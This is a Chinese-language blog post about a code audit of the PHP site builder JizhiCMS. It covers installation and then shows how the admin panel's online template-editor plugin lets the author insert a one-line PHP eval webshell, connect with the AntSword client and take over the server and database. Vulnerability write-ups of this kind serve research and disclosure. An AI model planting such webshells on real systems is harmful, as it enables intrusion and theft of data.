0x001 前言
标题为什么是代码审计之旅呢?相信很多人都有疑问,由于疫情原因居家办公了,暂时回不去,也为政府的防疫速度点赞,大路小路迅速封堵安排人员值守,我们为此还建了个群,半夜各个路口都有人员轮流值守,估计连个鸟都飞不出去,只能老老实实呆在家里了,然后在家做了这个极致cms代码审计过程,拿出来和大家分享一下我的分析过程。
一款免费开源的PHP建站CMS系统,可以免授权商业使用该系统,支持后台在线模板,可以下载和更新模板,提供更多免费模板,支持后台多语言本地化配置,更新一套精美模板免费使用,桌面配置更具人性化设定,支持更多图标选择及菜单名称自定义,更具通俗化目录结构,让你一目了然字段重构,前台发布表单字段设定,列表字段控制,多种类型字段让你自由发挥创作!后台增加模板自定义方式,让你二开更方便!后台插件模板接口开放设定,可以自由维护自己的客户进行客制化服务!免费开源,代码无任何加密,可免费商用,前台界面可以去除版权显示,支持MIT协议,真正开源免费!
0x002 安装环境
- jizhicms的开发语言是PHP,支持PHP5.6+,发布之日起就已经兼容到PHP7.4版本,推荐使用PHP7.0版本以上。
- 安装环境建议Linux服务器,当然Windows也是可以安装的,云**服务器建议安装宝塔面板查看**
- 无论是Windows还是Linux建议安装Apache、mysql、phpMyAdmin配件
- 本系统当前版本2.0仅支持mysql数据库
0x003 安装须知
- PHP5.6+
- MySQL4.8+,数据**编码 utf-8 或者 utf8-general-ci**
- 部署环境必须支持伪静态
- 支持Apache、Linux
0x004 开始安装
本地环境搭建:
官网下载:https://www.jizhicms.cn/forum.php?mod=viewthread&tid=578
这个cms目录架构大致如下:
安装完以后,前台效果
此时登录后台程序:
地址如下:http://jizhi.com/admin.php/Login/index.html
登陆后效果
收集了一些cnvd的信息,JIZHICMS跨站脚本漏洞,JIZHICMS跨站脚本漏洞,jizhicms1.4版本存在文件上传漏洞,jizhicms存在文件上传漏洞,JIZHICMS跨站请求伪造漏洞这几个漏洞,前台一顿操作也没找出漏洞来,那我就去看下后台,根据功能点来,一点点尝试。
想着在系统设置中的高级设置,可以选择上传的后缀名,不过这里是前台的上传文件限制,后台虽然有上传点但是一直绕过不了,比较麻烦,突然想到他还有个插件功能,他有插件可不可以通过插件做一些文章。
浏览了一下插件发现有在线编辑模板,然后感觉看到了希望。
然后点击下载以后点击安装
点击开启以后点击配置密码
配置完密码,再次输入配置的密码登录,点击立即提交就会出来一个新的窗口,可以编辑文件。
添加恶意代码:
@eval($_POST['cmd']);
保存成功后保存完以后
使用蚁剑链接木马,获得服务器权限:
项目所有文件信息:
查看数据配置信息:
至此,通过系统后台编辑文件插件,通过更改文件代码,实现写入木马程序执行,拿到了服务器全部权限、源码,以及数据库信息,造成了很严重的后果。
0x005 总结
该漏洞主要是通过cms 后台扩展管理插件列表,下载在线编辑模板,允许用户修改代码,而这对操作修改代码没有过滤就造成了巨大的风险,**拿到了服务器全部权限、源码,以及数据库信息**。